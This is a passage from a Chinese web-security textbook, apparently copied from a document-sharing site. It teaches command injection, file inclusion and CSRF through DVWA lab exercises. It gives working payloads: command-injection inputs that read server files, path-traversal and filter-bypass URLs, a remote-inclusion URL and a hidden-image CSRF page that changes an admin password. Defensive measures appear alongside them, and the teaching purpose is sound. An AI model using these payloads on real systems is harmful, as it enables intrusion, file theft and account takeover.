轉(zhuǎn)義。(3)在后臺對應(yīng)用的權(quán)限進(jìn)行控制,即使有漏洞,也不能執(zhí)行高權(quán)限命令。(4)對PHP語言來說,不能完全控制的危險函數(shù)最好不要使用。7.3命令執(zhí)行漏洞任務(wù)實施:【任務(wù)分析】小林發(fā)現(xiàn)命令執(zhí)行漏洞后,通過和校園某個Web網(wǎng)站管理員協(xié)商,通過對學(xué)生用戶輸入內(nèi)容的過濾,從而實現(xiàn)對命令執(zhí)行內(nèi)容進(jìn)行驗證和過濾?!緦嵱?xùn)環(huán)境】硬件:一臺Windows10主機。軟件:phpstudy,DVWA實驗地址:http://ip/dvwa/login.php7.3命令執(zhí)行漏洞任務(wù)實施:【實施步驟】1.命令執(zhí)行漏洞滲透測試與繞過(1)登錄DVWA系統(tǒng)在DVWA系統(tǒng)中選擇DVWASecurity的“l(fā)ow”級別,然后單擊“CommandInjection”導(dǎo)航欄,出現(xiàn)命令執(zhí)行漏洞界面,該界面的功能就是判斷是否可以Ping通設(shè)備。輸入IP地址“”,輸出結(jié)果如圖7-20所示。7.3命令執(zhí)行漏洞任務(wù)實施:【實施步驟】1.命令執(zhí)行漏洞滲透測試與繞過(1)登錄DVWA系統(tǒng)如果在文本框中輸入“&ipconfig”,將會出現(xiàn)如圖7-21所示界面。7.3命令執(zhí)行漏洞任務(wù)實施:【實施步驟】1.命令執(zhí)行漏洞滲透測試與繞過(2)在命令框中輸入命令查看結(jié)果①輸入:,單擊“Submit”按鈕提交并查看結(jié)果。②輸入:&ipconfig,單擊“Submit”按鈕提交并查看結(jié)果。③輸入:&&ipconfig,單擊“Submit”按鈕提交并查看結(jié)果。④輸入:|ipconfig,單擊“Submit”按鈕提交并查看結(jié)果。⑤輸入:||ipconfig,單擊“Submit”按鈕提交并查看結(jié)果。7.3命令執(zhí)行漏洞任務(wù)實施:【實施步驟】1.命令執(zhí)行漏洞滲透測試與繞過(3)利用命令執(zhí)行漏洞讀取文件及文件內(nèi)容①在輸入框中輸入:|dird:\ftp\,將看到D盤ftp文件夾中的文件(ftp為D盤下的一個文件夾),如圖7-22所示。7.3命令執(zhí)行漏洞任務(wù)實施:【實施步驟】1.命令執(zhí)行漏洞滲透測試與繞過(3)利用命令執(zhí)行漏洞讀取文件及文件內(nèi)容②在輸入框中輸入:|typed:\ftp\新建文本文檔.txt(新建文本文檔.txt為ftp文件夾下的一個文件),可以讀取新建文本文檔.txt中內(nèi)容,如圖7-23所示。17.1跨站腳本攻擊漏洞27.2文件上傳漏洞37.3命令執(zhí)行漏洞目錄CONTENTS47.4文件包含漏洞57.5請求偽造漏洞67.6XXE漏洞7.4文件包含漏洞任務(wù)描述:小林發(fā)現(xiàn)校園某個Web網(wǎng)站對用戶輸入?yún)?shù)過濾不嚴(yán),客戶端可以調(diào)用一個惡意文件,達(dá)到惡意執(zhí)行代碼的目的。利用文件包含漏洞可以讀取敏感文件的內(nèi)容,也可以植入木馬等。小林經(jīng)過檢查,發(fā)現(xiàn)其風(fēng)險巨大,因此必須提供嚴(yán)格的防范文件包含漏洞的機制。7.4文件包含漏洞知識準(zhǔn)備:一、文件包含漏洞的概念文件包含是指程序開發(fā)人員一般會把重復(fù)使用的函數(shù)寫到單個文件中,需要使用某個函數(shù)時直接調(diào)用此文件,而無需再次編寫,這種文件調(diào)用的過程一般被稱為文件包含。文件包含分為本地文件包含和遠(yuǎn)程文件包含,說明如下。(1)當(dāng)被包含的文件在服務(wù)器本地時,稱為本地文件包含。(2)當(dāng)被包含的文件在第三方服務(wù)器時,稱為遠(yuǎn)程文件包含。文件包含提高代碼的重用性,相當(dāng)于將被包含的文件內(nèi)容復(fù)制到了包含處,幾乎所有的腳本語言都支持文件包含的功能。在PHP中提供了四個文件包含的函數(shù),用于本地文件包含,如表7-2所示。函數(shù)名稱描述include()當(dāng)使用該函數(shù)包含文件時,只有代碼執(zhí)行到include()函數(shù)時才將文件包含進(jìn)來,發(fā)生錯誤時只給出一個警告,繼續(xù)向下進(jìn)行。include_once()include_once()語句和include()語句類似,唯一區(qū)別是如果該文件已經(jīng)包含過,則不會再次包含,即只會包含一次。require()除處理失敗的方式不同之外,require()和include()幾乎完全一樣。require()在出錯時產(chǎn)生(E_COMPILE_ERROR)級別的錯誤,換句話說將導(dǎo)致腳本中止。而include()只產(chǎn)生警告(E_WARNING),腳本會繼續(xù)運行。require_once()require_once()語句和require()語句完全相同,唯一區(qū)別是PHP會檢查該文件是否已經(jīng)被包含過,如果是,則不會再次包含。7.4文件包含漏洞知識準(zhǔn)備:一、文件包含漏洞的概念為了使代碼更加靈活,有時會將被包含的文件設(shè)置為變量,用來進(jìn)行動態(tài)調(diào)用。由于被包含的文件設(shè)置為變量,從而可以被控制,如果對用戶輸入的參數(shù)過濾不嚴(yán),客戶端就可以調(diào)用一個惡意文件,達(dá)到惡意執(zhí)行代碼的目的,這就是文件包含漏洞。從這里可以看到文件包含漏洞的產(chǎn)生原因是通過PHP的函數(shù)引入文件時,由于傳入的文件名沒有經(jīng)過合理的校驗,從而操作了預(yù)想之外的文件,導(dǎo)致意外的文件泄露甚至惡意的代碼注入。從定義當(dāng)中可以看到,文件包含漏洞存在并被利用的條件是,Web應(yīng)用程序用include()等文件包含函數(shù)通過動態(tài)變量的形式引入需要包含的文件,用戶能夠控制該動態(tài)變量。文件包含漏洞帶來的危害有,攻擊者可以讀取服務(wù)器上的任意文件,包括配置文件(如數(shù)據(jù)庫憑據(jù))、源代碼等。當(dāng)包含的文件是可執(zhí)行的PHP代碼時,攻擊者可實現(xiàn)遠(yuǎn)程代碼執(zhí)行。結(jié)合其他漏洞,最終可能完全控制目標(biāo)主機。7.4文件包含漏洞知識準(zhǔn)備:二、遠(yuǎn)程文件包含遠(yuǎn)程文件包含與本地文件包含相似,但是它允許攻擊者包含位于遠(yuǎn)程服務(wù)器上的文件,而不是本地系統(tǒng)上的文件。要成功實施RFI攻擊,攻擊者需要Web服務(wù)器的PHP配置允許通過URL包含文件,這通常依賴于allow_url_fopen或allow_url_include指令被設(shè)置為開啟狀態(tài)。攻擊者可以利用此漏洞,提供一個惡意服務(wù)器上的URL,該URL指向包含惡意代碼的文件,當(dāng)被目標(biāo)服務(wù)器加載和執(zhí)行時,就能實現(xiàn)對目標(biāo)系統(tǒng)的攻擊。本地文件包含涉及服務(wù)器上的本地文件,而遠(yuǎn)程文件包含涉及其他服務(wù)器上的文件。雖然兩者都嚴(yán)重,但遠(yuǎn)程文件包含通常被認(rèn)為風(fēng)險更高,因為它允許攻擊者直接從外部服務(wù)器引入惡意代碼執(zhí)行,增加了攻擊的靈活性和隱蔽性。遠(yuǎn)程文件包含依賴于特定的PHP配置(如allow_url_include),而本地文件包含則不依賴這些配置。以動態(tài)加載配置文件的站點為例,如果用戶訪問網(wǎng)址/index.php?page=config.php,一切正常,因為config.php是預(yù)期的一個本地配置文件。如果沒有對$configFile變量進(jìn)行任何驗證或清理,就為攻擊者打開了大門。7.4文件包含漏洞知識準(zhǔn)備:二、遠(yuǎn)程文件包含攻擊者可以嘗試如下URL構(gòu)造,利用遠(yuǎn)程文件包含漏洞:/index.php?page=/hack_code.php在這個惡意請求中,攻擊者嘗試讓服務(wù)器去包含一個他們控制的遠(yuǎn)程服務(wù)器上的文件hack_code.php。如果服務(wù)器的PHP配置允許遠(yuǎn)程文件包含,即allow_url_include設(shè)置為On

,服務(wù)器就會嘗試執(zhí)行這個遠(yuǎn)程文件中的代碼。hack_code.php可能包含任何攻擊者想要執(zhí)行的代碼,比如命令執(zhí)行、數(shù)據(jù)竊取、創(chuàng)建后門等。為了提高成功率,攻擊者可能會精心構(gòu)造這個惡意文件,使其看起來像文本文件,以繞過一些基本的安全檢查,同時確保它仍然能被目標(biāo)服務(wù)器當(dāng)作PHP代碼執(zhí)行。7.4文件包含漏洞知識準(zhǔn)備:三、文件包含漏洞的防范驗證和過濾用戶輸入:對所有來自用戶的數(shù)據(jù)進(jìn)行嚴(yán)格的驗證和過濾,特別是那些用于構(gòu)造文件路徑的輸入??梢允褂冒酌麊畏椒ǎ辉试S特定字符或模式通過,拒絕任何包含特殊字符(如../,\等目錄跳轉(zhuǎn)符號)的輸入。使用絕對路徑:盡量避免使用相對路徑來包含文件,因為相對路徑容易受到目錄遍歷攻擊。使用絕對路徑可以減少被攻擊的風(fēng)險,確保文件包含操作僅限于預(yù)定義的安全目錄內(nèi)。限制文件訪問范圍:設(shè)定一個嚴(yán)格控制的文件包含目錄,并確保該目錄之外的文件無法被包含或執(zhí)行。可以通過服務(wù)器配置或在代碼中實現(xiàn)這一限制。使用預(yù)定義變量或函數(shù):一些編程框架提供了安全的文件包含函數(shù)或方法,這些通常會自動處理路徑清理和驗證。例如,在PHP中,可以使用include和require函數(shù)的基類自動轉(zhuǎn)義路徑,或者使用更安全的include_once和require_once來避免重復(fù)包含。7.4文件包含漏洞任務(wù)實施:【任務(wù)分析】小林發(fā)現(xiàn)文件包含漏洞后,通過和校園某個Web網(wǎng)站管理員協(xié)商,通過分析文件包含漏洞形成并被利用的原因,嚴(yán)格限制所包含的文件,從而實現(xiàn)文件包含漏洞的防范機制?!緦嵱?xùn)環(huán)境】硬件:一臺Windows10主機。軟件:phpstudy,DVWA實驗地址:http://ip/dvwa/login.php7.4文件包含漏洞任務(wù)實施:【實施步驟】1.文件包含漏洞的利用與防范(1)登錄DVWA系統(tǒng)在DVWA系統(tǒng)中選擇DVWASecurity的“l(fā)ow”級別,然后單擊“FileInclusion”菜單,出現(xiàn)如圖7-24所示。7.4文件包含漏洞任務(wù)實施:【實施步驟】1.文件包含漏洞的利用與防范(2)爆出系統(tǒng)絕對路徑分別單擊界面上的“file1.php”鏈接、“file2.php”鏈接、“file3.php”鏈接,除顯示不同的內(nèi)容外,URL中的page參數(shù)也有所不同。此時,如果在URL中輸入一個不存在的文件,如file11.php,將爆出系統(tǒng)的絕對路徑,如圖7-25所示。該系統(tǒng)的絕對路徑為D:\phpstudy_pro\WWW\dvwa\vulnerabilities\fi\index.php。在此時,可對文件包含漏洞的深度利用實驗,如讀取敏感文件內(nèi)容、植入木馬等進(jìn)行驗證。7.4文件包含漏洞任務(wù)實施:【實施步驟】1.文件包含漏洞的利用與防范(2)爆出系統(tǒng)絕對路徑①在URL中輸入/dvwa/vulnerabilities/fi/?page=01.txt,包含服務(wù)器本地當(dāng)前目錄下的文件,如圖7-26、圖7-27所示。7.4文件包含漏洞任務(wù)實施:【實施步驟】1.文件包含漏洞的利用與防范(2)爆出系統(tǒng)絕對路徑②在URL中輸入/dvwa/vulnerabilities/fi/?page=../03.txt,包含服務(wù)器本地上一級目錄的文件,如圖7-28、圖7-29所示。7.4文件包含漏洞任務(wù)實施:【實施步驟】1.文件包含漏洞的利用與防范(2)爆出系統(tǒng)絕對路徑③在URL中輸入/dvwa/vulnerabilities/fi/?page=../../01/02.php,包含服務(wù)器本地其他目錄的文件,進(jìn)行目錄遍歷,如圖7-30、圖7-31所示。7.4文件包含漏洞任務(wù)實施:【實施步驟】1.文件包含漏洞的利用與防范(3)繞過文件包含漏洞防范措施①在DVWASecurity中選擇“medium”選項,并提交。然后選擇“FileInclusion”選項,再在URL中輸入/dvwa/vulnerabilities/fi/?page=../03.txt,此時會出現(xiàn)如圖7-32所示界面。7.4文件包含漏洞任務(wù)實施:【實施步驟】1.文件包含漏洞的利用與防范(3)繞過文件包含漏洞防范措施查看源代碼:<?php//Thepagewewishtodisplay$file=$_GET['page'];

//Inputvalidation$file=str_replace(array("http://","https://"),"",$file);$file=str_replace(array("../","..\""),"",$file);?>原來“../”被替換為空格,于是再在URL中輸入/dvwa/vulnerabilities/fi/?page=..././03.txt,可繞過限制。7.4文件包含漏洞任務(wù)實施:【實施步驟】1.文件包含漏洞的利用與防范(3)繞過文件包含漏洞防范措施②在DVWASecurity當(dāng)中選擇“high”選項,并提交。然后選擇“FileInclusion”選項,分析其源代碼。<?php//Thepagewewishtodisplay$file=$_GET['page'];

//Inputvalidationif(!fnmatch("file*",$file)&&$file!="include.php"){ //Thisisn'tthepagewewant! echo"ERROR:Filenotfound!"; exit;}?>7.4文件包含漏洞任務(wù)實施:【實施步驟】1.文件包含漏洞的利用與防范(3)繞過文件包含漏洞防范措施要求被包含的文件必須包含F(xiàn)ile字符串或者include.php,可以利用File協(xié)議進(jìn)行文件包含漏洞的利用,F(xiàn)ile協(xié)議是文件傳輸協(xié)議,可以訪問本地計算機上的文件。在URL中輸/dvwa/vulnerabilities/fi/?page=file:///D:/phpstudy_pro/WWW/dvwa/vulnerabilities/03.txt,將輸出文件內(nèi)容,如圖7-33所示。7.4文件包含漏洞任務(wù)實施:【實施步驟】1.文件包含漏洞的利用與防范(4)文件包含漏洞的有效防范在DVWASecurity當(dāng)中選擇“impossible”選項,并提交。然后選擇“FileInclusion”選項,查看源代碼。<?php//Thepagewewishtodisplay$file=$_GET['page'];

//Onlyallowinclude.phporfile{1..3}.phpif($file!="include.php"&&$file!="file1.php"&&$file!="file2.php"&&$file!="file3.php"){ //Thisisn'tthepagewewant! echo"ERROR:Filenotfound!"; exit;}?>程序嚴(yán)格限制了所包含的文件,因此不能再包含其他文件,難以利用。17.1跨站腳本攻擊漏洞27.2文件上傳漏洞37.3命令執(zhí)行漏洞目錄CONTENTS47.4文件包含漏洞57.5請求偽造漏洞67.6XXE漏洞7.5請求偽造漏洞任務(wù)描述:小林發(fā)現(xiàn)校園某個Web網(wǎng)站存在請求偽造漏洞風(fēng)險,可以利用受害者尚未失效的身份認(rèn)證信息,在受害人不知情的情況下以受害者的身份向服務(wù)器發(fā)送請求,從而完成非法操作。小林經(jīng)過檢查,雖然請求偽造造成的影響相對較小,屬于低風(fēng)險漏洞,但滲透測試時也應(yīng)該對其進(jìn)行仔細(xì)檢測,并提出完善的防范建議。7.5請求偽造漏洞知識準(zhǔn)備:一、CSRF漏洞的概念跨站請求偽造(Cross-SiteRequestForgery,CSRF)是指攻擊者在用戶已經(jīng)登錄目標(biāo)網(wǎng)站之后,誘使用戶訪問一個攻擊頁面,利用目標(biāo)網(wǎng)站對用戶的信任,以用戶身份在攻擊頁面對目標(biāo)網(wǎng)站發(fā)起偽造用戶操作的請求,達(dá)到攻擊目的。可以這么理解CSRF攻擊:攻擊者盜用了你的身份,以你的名義發(fā)送惡意請求。CSRF能夠做的事情包括以你名義發(fā)送郵件,發(fā)消息,盜取你的賬號,甚至于購買商品,虛擬貨幣轉(zhuǎn)賬等等,造成的問題包括個人隱私泄露以及財產(chǎn)安全。7.5請求偽造漏洞知識準(zhǔn)備:二、CSRF的原理圖7-34簡單闡述了CSRF攻擊的思想。7.5請求偽造漏洞知識準(zhǔn)備:二、CSRF的原理CSRF攻擊原理及過程如下。(1)用戶C打開瀏覽器,訪問受信任網(wǎng)站A,輸入用戶名和密碼請求登錄網(wǎng)站A。(2)在用戶信息通過驗證后,網(wǎng)站A產(chǎn)生Cookie信息并返回給瀏覽器,此時用戶登錄網(wǎng)站A成功,可以正常發(fā)送請求到網(wǎng)站A。(3)用戶未退出網(wǎng)站A之前,在同一瀏覽器中,打開一個TAB頁訪問網(wǎng)站B。(4)網(wǎng)站B接收到用戶請求后,返回一些攻擊性代碼,并發(fā)出一個請求要求訪問第三方站點A。(5)瀏覽器在接收到這些攻擊性代碼后,根據(jù)網(wǎng)站B的請求,在用戶不知情的情況下攜帶Cookie信息,向網(wǎng)站A發(fā)出請求。網(wǎng)站A并不知道該請求其實是由B發(fā)起的,所以會根據(jù)用戶C的Cookie信息以C的權(quán)限處理該請求,導(dǎo)致來自網(wǎng)站B的惡意代碼被執(zhí)行。7.5請求偽造漏洞知識準(zhǔn)備:三、SSRF漏洞的概念及形成原因服務(wù)器端請求偽造(Server-SideRequestForgery,SSRF)是一種由攻擊者構(gòu)造形成由服務(wù)端發(fā)起請求的一個安全漏洞。SSRF形成的原因大都是由于服務(wù)端提供了從其他服務(wù)器應(yīng)用獲取數(shù)據(jù)的功能,且沒有對目標(biāo)地址做過濾與限制。例如,從指定URL地址獲取網(wǎng)頁文本內(nèi)容,加載指定地址的圖片、文檔等。7.5請求偽造漏洞知識準(zhǔn)備:四、SSRF攻擊方式SSRF(Server-SideRequestForgery)攻擊方式主要包括:(1)可以對外網(wǎng)、服務(wù)器所在內(nèi)網(wǎng)、本地進(jìn)行端口掃描,獲取一些服務(wù)的banner信息。(2)攻擊運行在內(nèi)網(wǎng)或本地的應(yīng)用程序(如溢出)。(3)對內(nèi)網(wǎng)Web應(yīng)用進(jìn)行指紋識別,通過訪問默認(rèn)文件實現(xiàn)。(4)攻擊內(nèi)外網(wǎng)的Web應(yīng)用,主要是使用get參數(shù)就可以實現(xiàn)的攻擊(比如struts2,sqli等)。(5)利用file協(xié)議讀取本地文件等。7.5請求偽造漏洞知識準(zhǔn)備:五、SSRF漏洞點挖掘?qū)ふ襍SRF漏洞的方法主要包括:(1)能夠?qū)ν獍l(fā)起網(wǎng)絡(luò)請求的地方,就可能存在SSRF漏洞;(2)從遠(yuǎn)程服務(wù)器請求資源(UploadfromURL,Import&ExportRSSfeed);(3)數(shù)據(jù)庫內(nèi)置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB);(4)Webmail收取其他郵箱郵件(POP3/IMAP/SMTP);(5)文件處理,編碼處理,屬性信息處理(ffpmg,ImageMaic,DOCX,PDF,XML處理)。7.5請求偽造漏洞知識準(zhǔn)備:六、SSRF攻擊防范SSRF攻擊者可以利用它誘使服務(wù)器端應(yīng)用程序去訪問或查詢內(nèi)部網(wǎng)絡(luò)資源,從而獲取敏感數(shù)據(jù)、執(zhí)行未授權(quán)操作或進(jìn)行其他惡意活動??梢圆扇∫韵聨追N策略進(jìn)行防范。(1)輸入驗證與過濾。對所有用戶可控的URL輸入進(jìn)行嚴(yán)格的驗證和過濾,禁止構(gòu)造指向內(nèi)部網(wǎng)絡(luò)地址的請求??梢允褂煤诿麊芜^濾掉常見的內(nèi)部IP地址段、localhost以及私有IP地址(如/8,/12,/16)。(2)白名單策略。實施URL白名單制度,只允許應(yīng)用程序向預(yù)先定義好的外部域名或IP地址發(fā)送請求。這種方法比黑名單更為安全,因為它從根本上限制了可訪問的目標(biāo)范圍。(3)禁用或限制內(nèi)部網(wǎng)絡(luò)訪問。在設(shè)計應(yīng)用時,應(yīng)避免讓應(yīng)用直接向內(nèi)部網(wǎng)絡(luò)發(fā)起請求。如果必須訪問內(nèi)部資源,應(yīng)通過代理服務(wù)或API網(wǎng)關(guān)進(jìn)行,且需嚴(yán)格控制訪問權(quán)限。7.5請求偽造漏洞知識準(zhǔn)備:六、SSRF攻擊防范SSRF攻擊者可以利用它誘使服務(wù)器端應(yīng)用程序去訪問或查詢內(nèi)部網(wǎng)絡(luò)資源,從而獲取敏感數(shù)據(jù)、執(zhí)行未授權(quán)操作或進(jìn)行其他惡意活動??梢圆扇∫韵聨追N策略進(jìn)行防范。(4)使用外部代理服務(wù)。對于需要訪問外部資源的場景,可以使用專門的代理服務(wù)或庫來發(fā)起請求,這樣可以隔離內(nèi)部網(wǎng)絡(luò),防止直接暴露給外部輸入。(5)資源訪問限制與隔離。根據(jù)應(yīng)用程序的實際需求,為不同的服務(wù)或功能分配最低必要的網(wǎng)絡(luò)訪問權(quán)限。使用網(wǎng)絡(luò)隔離和防火墻規(guī)則來限制應(yīng)用程序?qū)?nèi)部資源的訪問。(6)日志監(jiān)控與異常檢測。建立全面的日志記錄機制,特別是對于對外部服務(wù)的請求,應(yīng)詳細(xì)記錄請求URL、源IP、時間戳等信息。結(jié)合異常檢測系統(tǒng),及時發(fā)現(xiàn)并響應(yīng)不正常的請求模式。7.5請求偽造漏洞任務(wù)實施:【任務(wù)分析】小林發(fā)現(xiàn)請求偽造漏洞后,通過和校園某個Web網(wǎng)站管理員協(xié)商,通過用Referer參數(shù)驗證能起到一定的防范作用,但容易被繞過。Token機制是CSRF防范的有效防御機制?!緦嵱?xùn)環(huán)境】硬件:一臺Windows10主機。軟件:phpstudy,DVWA實驗地址:http://ip/dvwa/login.php7.5請求偽造漏洞任務(wù)實施:【實施步驟】1.CSRF漏洞的利用與防范(1)登錄DVWA系統(tǒng),進(jìn)入CSRF頁面在DVWA系統(tǒng)中選擇DVWASecurity的“l(fā)ow”級別,然后選擇“CSRF”選線,出現(xiàn)如圖7-35所示的工作界面。在該界面下,可以修改admin用戶的密碼。7.5請求偽造漏洞任務(wù)實施:【實施步驟】1.CSRF漏洞的利用與防范(2)CSRF頁面功能分析該頁面用于修改登錄用戶的密碼。在Newpassword和Confirmnewpassword輸入框中,分別輸入123456,單擊“Change”按鈕,會提示“PasswordChanged”,并且在URL中顯70/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#(根據(jù)實際搭建環(huán)境輸入URL地址),如圖7-36所示,密碼變成了“123456”。很明顯,這就是修改密碼的鏈接。7.5請求偽造漏洞任務(wù)實施:【實施步驟】1.CSRF漏洞的利用與防范(3)利用CSRF漏洞進(jìn)行攻擊此時,在另外一個標(biāo)簽頁的URL中輸入“70/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#”(根據(jù)實際搭建環(huán)境輸入URL地址),如圖7-37所示,可以看到,直接跳轉(zhuǎn)到了密碼修改成功的頁面,密碼相應(yīng)變成password。在此步驟中,我們就是利用了系統(tǒng)存在的CSRF漏洞,利用尚未失效的身份認(rèn)證信息,以受害者的身份向服務(wù)器發(fā)送請求,從而完成修改密碼的非法操作。7.5請求偽造漏洞任務(wù)實施:【實施步驟】1.CSRF漏洞的利用與防范(4)分析源代碼單擊界面右下角的“ViewSource”按鈕,就會看到如下源代碼。從源代碼可以看出,這里只是對用戶輸入的兩個密碼進(jìn)行判斷,看是否相等。不相等就提示密碼不匹配;相等的話,查看有沒有設(shè)置數(shù)據(jù)庫連接的全局變量和其是否為一個對象。如果是,則用mysqli_real_escape_string()函數(shù)去轉(zhuǎn)義一些字符,如果不是,則輸出錯誤。是同一個對象的話,再用md5進(jìn)行加密,再更新數(shù)據(jù)庫。幾乎沒有做任何防范,因此就可輕易地進(jìn)行CSRF攻擊。?phpif(

isset(

$_GET[

'Change'

]

)

)

{//

Get

input$pass_new

=

$_GET[

'password_new'

];$pass_conf

=

$_GET[

'password_conf'

];//

Do

the

passwords

match?if(

$pass_new

==

$pass_conf

)

{//

They

do!$pass_new

=

((isset($GLOBALS["___mysqli_ston"])

&&

is_object($GLOBALS["___mysqli_ston"]))

?

mysqli_real_escape_string($GLOBALS["___mysqli_ston"],

$pass_new

)

:

((trigger_error("[MySQLConverterToo]

Fix

the

mysql_escape_string()

call!

This

code

does

not

work.",

E_USER_ERROR))

?

""

:

""));$pass_new

=

md5(

$pass_new

);//

Update

the

database$current_user

=

dvwaCurrentUser();$insert

=

"UPDATE

`users`

SET

password

=

'$pass_new'

WHERE

user

=

'"

.

$current_user

.

"';";$result

=

mysqli_query($GLOBALS["___mysqli_ston"],

$insert

)

or

die(

'<pre>'

.

((is_object($GLOBALS["___mysqli_ston"]))

?

mysqli_error($GLOBALS["___mysqli_ston"])

:

(($___mysqli_res

=

mysqli_connect_error())

?

$___mysqli_res

:

false))

.

'</pre>'

);//

Feedback

for

the

userecho

"<pre>Password

Changed.</pre>";}else

{//

Issue

with

passwords

matchingecho

"<pre>Passwords

did

not

match.</pre>";}((is_null($___mysqli_res

=

mysqli_close($GLOBALS["___mysqli_ston"])))

?

false

:

$___mysqli_res);}?>7.5請求偽造漏洞任務(wù)實施:【實施步驟】1.CSRF漏洞的利用與防范(5)繞過CSRF漏洞的防范措施①在DVWASecurity當(dāng)中選擇“medium”選項,并提交,然后選擇“CSRF”選項。通過查看源代碼可以看出,其必low級別的源代碼增加了對用戶請求頭中的Referer參數(shù)進(jìn)行驗證,代碼如下。if(

stripos(

$_SERVER[

'HTTP_REFERER'

]

,$_SERVER[

'SERVER_NAME'

])

!==

false

)用戶的請求頭中的Referer參數(shù)必須包含服務(wù)器的名字SERVER_NAME。此時,在另外一個標(biāo)簽頁的URL中輸入:70/vulnerabilities/csrf/?password_new=password&password_conf=&Change=Change#7.5請求偽造漏洞任務(wù)實施:【實施步驟】1.CSRF漏洞的利用與防范(5)繞過CSRF漏洞的防范措施系統(tǒng)會報錯,如圖7-38所示,即沒有定義HttpReferer字段。采用此種方法能防范直接點擊鏈接進(jìn)行CSRF漏洞利用的情形,但可通過BurpSuite修改HTTP頭繞過。7.5請求偽造漏洞任務(wù)實施:【實施步驟】1.CSRF漏洞的利用與防范(5)繞過CSRF漏洞的防范措施②利用BurpSuite修改HTTP頭繞過Referer字段限制。在正常頁面中的Newpassword和Confirmnewpassword輸入框中,分別輸入password,在URL中會出現(xiàn)如下內(nèi)容。此時,通過BurpSuite抓包分析,就會在HTTP頭中看到Referer關(guān)鍵字引導(dǎo)的內(nèi)容,如圖7-39所示。70/vulnerabilities/csrf/?password_new=password&password_conf=&Change=Change#7.5請求偽造漏洞任務(wù)實施:【實施步驟】1.CSRF漏洞的利用與防范(5)繞過CSRF漏洞的防范措施③構(gòu)造攻擊頁面繞過,在服務(wù)器的DVWA目錄下建立70.html文件(IP地址為攻擊者服務(wù)器地址),內(nèi)容如下。<html><head></head><body><imgsrc="70/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#"border="0"style="display:none;"/><h1>filenotfound</h1></body></html>7.5請求偽造漏洞任務(wù)實施:【實施步驟】1.CSRF漏洞的利用與防范(5)繞過CSRF漏洞的防范措施③構(gòu)造攻擊頁面繞過,在服務(wù)器的DVWA目錄下建立70.html文件(IP地址為攻擊者服務(wù)器地址),內(nèi)容如下。<html><head></head><body><imgsrc="70/vulnerabilities/csrf/?password_new=123456&password_conf=1234

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

最新文檔

評論

0/150

提交評論